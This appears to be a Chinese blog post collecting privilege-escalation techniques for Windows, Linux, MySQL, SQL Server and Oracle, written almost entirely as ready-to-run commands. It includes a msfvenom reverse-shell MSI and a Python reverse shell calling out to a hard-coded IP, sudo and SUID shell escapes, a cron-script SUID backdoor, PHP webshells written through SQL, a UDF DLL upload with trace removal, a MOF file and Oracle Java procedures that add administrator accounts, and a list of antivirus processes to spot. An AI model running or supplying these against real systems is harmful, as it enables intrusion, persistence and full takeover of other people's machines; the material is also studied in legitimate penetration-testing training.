一些常见的提权方式

linux用户权限

drwxr-xr-x
权限所属用户:
d(文件夹)rwx(所属用户权限) r-x( 同一组的权限) r-x(除所属用户和同一组外的其他人的权限 )

信息搜集

要搜集的信息

机器的系统及其版本
机器的打补丁情况
机器安装的服务
机器的防火墙策略配置
机器的防护软件情况

基础信息查询命令

hostname			#主机名
wmic os get caption  #查看系统名
systeminfo			#查看系统信息
set           		#环境变量
net user 			#查看用户信息
wmic product get name,version   	#查看当前安装程序
tasklist /svc | find "TermService"		#查看正在运行的进程列表
netstat -and | find "1448"  		#查看服务PID
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KBxxxxx" /C:"KBxxxxx"		#查看具体补丁信息

查看目标重要配置命令

C:\boot.ini		#查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml		#IIS配置文件
C:\Windows\repair\sam 		#存储系统初次安装的密码
C:\Program Files\mysql\my.ini		#Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD    #Mysql root
C:\Windows\php.ini		#php配置信息
C:\Windows\my.ini  		#Mysql配置信息
C:\Windows\win.ini    	#Windows系统的一个基本系统配置文件

常见杀软

360sd.exe 360杀毒
360tray.exe 360实时保护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAfee McShield.exe McAfee
egui.exe NOD32
AVP.exe 卡巴斯基
avguard.exe 小红伞
\bdagent.exe BitDefender

Windows

溢出提权

WMIC命令

wmic qfe list //查看计算机补丁安装情况
wmic product get name,version //查看是否是虚拟机
wmic cpu get addresswidth //查看系统位数

Searchsploit、Metasploit查找exp

例如 MS15-051.exe "whoami"

Trusted Service Paths

无引号路径提权

利用服务启动时检索程序,如果路径有空格且没有引号闭合,会优先检索空格前的路径,比如C:\Program Files\Common Files\Everything\Everything.exe,会优先检索C盘下的Program,然后检索Program Files下的Common,所以可以利用这个特性劫持服务启动

查看有没有加引号的服务路径

vmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

加入恶意程序达到提权目的

icacls "C:\Program Files\"  //查看当前用户对该目录的权限 F为完全控制 M为修改权限

用工具(msf,cs等等)生成反弹shell程序上传到对应路径下

mis提权

AlwaysInstallElevated是注册表的一个键值(windows 2003),
当其值为1的时候,普通用户即可以system权限安装msi程序。
当前用户权限是否能够更改MSI安装时的启用状态,如不能修改则必须为启用方可使用本次提权技术。

gpedit.msc

用户配置>>管理模板>>Windows 组件>>Windows Installer>>始终以提升的权限进行安装 已启用

.msi是系统安装文件

启动状态才可以成功
判断是否存在window本地提权安全问题:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

生成利用的MSI文件:

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117  lport=5555 -f msi -o xiaodi.msi

执行MSI:

msiexec /quiet /qn /i xiaodi.msi

烂土豆提权

P0tato.exe -p whoami

进程注入提权

Linux

SUID提权

?cmd=system("find test -exec whoami\;");

这里调用了find指令
而find指令所有者为root权限
导致exec后面的指令继承了权限.

手工命令探针安全:

find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {}
find / -perm -u=s -type f 2>/dev/null

存在 Nmap/Vim/find/Bash/More/Less/Nano/cp之一,就有可能存在SUID提权

touch xiaodi

会创建一个xiaodi的目录
然后通过搜索xiaodi并携带命令达到system的权限执行命令

find xiaodi -exec whoami \;

利用NC反弹

find xiaodi -exec netcat -lvp 5555 -e /bin/sh
netcat xx.xx.xx.xx 5555

*利用Python反弹: *

find xiaodi -exec python -c 
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.94.236.117",7777));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc -lvp 7777

SUDO提权

查询可用sudo命令

sudo -l

find

sudo find /bin/ -name ls -exec /bin/bash \;

git

sudo git -p help //强制进入交互状态,必须让页面缓冲区无法显示全部信息(放大字体/缩小显示区域即可)。
!/bin/bash 

su

sudo su - root

vim

sudo vim -c '!sh

nmap

echo "os.execute('/bin/sh')">/tmp/shell.nse
sudo nmap --script=/tmp/shell.nse

more

sudo more /etc/rsyslog.conf
!/bin/bash

zip

sudo zip /tmp/1.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

1.zip: 是随手添加进去的一个zip文件
-T : 表示测试1.zip的完整性
--unzip-command-T 一起使用,可以指定自定义命令用于解压1.zip

tar

sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash

–checkpoint-action 选项是提权点,可以自定义需要执行的动作,指定为exec=/bin/bash,获取一个root权限的shell

strace

sudo strace -o/dev/null /bin/bash

strace: 以root权限运行跟踪调试/bin/bash, 从而获取root权限的shell

ftp

sudo ftp
ftp> !/bin/bash

passwd

sudo passwd
Enter new UNIX password: 
Retype new UNIX password: 

awk

sudo awk 'BEGIN {system("/bin/bash")}'

计划任务提权

计划任务提权

查看计划任务

cat /etc/crontab

如图看到已设置root用户每隔一分钟执行一次cleanup.py脚本

查找计划任务位置(find/ -name 计划任务名)

find/ -name cleanup.py

查看该文件权限,发现任意用户都可以对其进行编辑。

ls -la cleanup.py

修改计划任务文件

执行命令vim cleanup.py,在cleanup.py文件中添加如下代码,赋予SUID权限

#!/user/bin/env python
import os
import sys
try:
    os.system(‘chmod u+s /bin/bash’)
except:
   sys.exit

此代码是为了给bash命令设置SUID,这样便可利用计划任务将bash命令设置为SUID,用SUID提权即可。
添加完毕后按Esc键,输入:wq!强制保存并退出

运行修改后的计划任务

sudo python cleanup.py

执行命令ls -la /bin/bash,发现属主的权限由x变成了s,也就是设置了SUID

运行命令sudo bash -p,便可以root权限打开一个bash shell,在新开的Shell里执行命令whoami,发现当前权限是root

脏牛提权

脏牛漏洞是利用条件竞争,修改root账户信息,强制覆盖/etc/passwd文件第一行,其本质是利用线程并发引发的线程安全问题。

Linux内核的内存子系统在处理写时拷贝时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。

验证(必须要求写的权限)

字符串保存到 foo 文件内(文件内容和名可自定义,但不可为空)

echo testaaa > foo

并将权限设置为 0404 (Linux八进制对权限控制的定义写法)
0404代表所有用户默认情况下对该文件只有读取权限,无法修改删除。
准备测试POC,Copy-on-Write越权写文件效果。

ls -l
chmod 0404 foo
ls -l

执行以下命令测试漏洞(dirtyc0w为exp)

./dirtyc0w foo m00000000000000

通过 ./ 文件名 方式是执行该文件命令 后面一般附加空格参数。

执行dirtyc0w文件 foo 是文件名参数 m00000...为利用漏洞写入的值。

下面执行该POC,根据返回信息已经执行成功。 (m00000...是测试字符串可随意测试修改)

最后通过cat命令查看foo文件,发现该文件已被输入的字符串m0000...覆盖。

则存在 CVE-2016-5195(脏牛)内核提权漏洞

RDP3389

cmd开启3389端口的命令

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
或者wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

关闭3389端口的命令

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

数据库提权

MySQL

写webshell

条件:
1,需要物理路径
2,写入权限
3,load_file() 开启 即 secure_file_priv 无限制
NULL 不允许导入或导出
/ 只允许在 / 目录导入导出
空 不限制目录

通过查看my.ini来确定是否含有漏洞

show global variables like '%secure_file_priv%';

detail

select username,password from users where id = '1' union select 1,'<?php system($_GET["cmd"]);?>' into outfile '/var/www/html/cmd.php'
python sqlmap.py -u "http://xxxxx" --os-shell

日志包含

在MySQL 5.0 版本以上会创建日志文件,我们可以通过修改日志的全局变量中的存储位置来 getshell

detail

mysql> set global general_log = "ON";   #开启general_log
mysql> set global general_log_file='c:/phpstudy_pro/www/shell.php';   #修改general_log_file路径
#写入shell
mysql> select "<?php @eval($_POST['suifeng']);?>";
+-----------------------------------+
| <?php @eval($_POST['suifeng']);?> |
+-----------------------------------+
| <?php @eval($_POST['suifeng']);?> |
+-----------------------------------+

UDF提权

1、将udf文件放到指定位置
2、从udf文件中引入自定义函数
3、执行自定义函数

将获得的udf.dll文件转换成16进制

SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\ka1n4t\\Desktop\\udf.txt';

load_file中的十六进制是'C:\\Users\\ka1n4t\\Desktop\\lib_mysqludf_sys.dll'

把本地的udf16进制形式上传webshell

1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\

为了删除痕迹,把刚刚新建的udftmp表删掉

DROP TABLE udftmp; 

导入udf函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 

提权成功

SELECT sys_eval('ipconfig');

几个常用的cmd指令,用于添加一个管理员用户

net user ka1n4t ka1n4t~!@ /add //添加新用户:ka1n4t,密码为ka1n4t~!@
net localgroup administrators ka1n4t /add //将ka1n4t添加至管理员分组

MOF提权

"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡.

mof文件代码如下所示

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 

然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
替换的sql语句:

select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

sqlserver

xp_cmdshell

条件

xp_cmdshell在mssql2000中开启,在2005之后就是默认禁止的,我们需要sa权限来开启xp_cmdshell
#开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

#关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

利用方式

exec master..xp_cmdshell "whoami"

默认情况下xp_cmdshell是禁止的,这个时候,可以使用以下命令进行开启

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

如果xp_cmdshell被删除,可以尝试上传xplog70.dll进行恢复,恢复语句:

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

SP_OACREATE

当xp_cmdshell 删除以后,可以使用SP_OACreate。首先要打开组件:

EXEC sp_configure 'show advanced options', 1;   RECONFIGURE WITH OVERRIDE;   EXEC sp_configure 'Ole Automation Procedures', 1;   RECONFIGURE WITH OVERRIDE;   EXEC sp_configure 'show advanced options', 0;

语句执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'

这里要注意一下,此方式执行是无回显的

注册表自启动

以下方式需要电脑重启。添加注册表:

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','ipconfig'

备份添加启动项:

alter database test set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)create table cmd (a image)--  (新建立一个cmd表)backup database test  to disk = 'D:\\temp\\cmd'  WITH init --backup log test to disk = 'D:\\temp\\cmd1'  WITH init --  (减少备分数据的大小)insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a400d0a40)-- (插入cmd命令)backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'-- (备分日志到启动路径)drop table cmd --(删除新建的cmd表)alter database test set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)

测试发现,Win10+MSSQL 2012导出的批处理并不能顺利执行,可能与系统及数据库版本有一定关系,成功率并不怎么高。

通过沙盒rce

开启沙盒:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行命令:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

oracle

DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。
对于普通用户:授予connect, resource权限。
对于DBA管理用户:授予connect,resource, dba权限。

JAVA权限命令执行

创建java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

获取java权限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

创建我们用来执行命令的函数

select dbms_xmlquery.newcontext('declar
e PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

执行命令

select LinxRUNCMD('whoami') from dual;

如果有java权限

首先创建一个java class然后用procedure包装它进行调用

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;public class JAVACMD
{public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};/
CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';/
exec javacmdproc('cmd.exe /c net user qingxin qingxin /add');
exec javacmdproc('cmd.exe /c net localgroup administrators qingxin /add');

创建调用的包

create or replace procedure MYJAVACMD(command in varchar) as language java
    name 'JAVACMD.execmd(java.lang.String)';
/

执行我们的命令

EXEC MYJAVACMD('net user qingxin qingxin /add');
posted @   LinkPoc  阅读(138)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
点击右上角即可分享
微信分享提示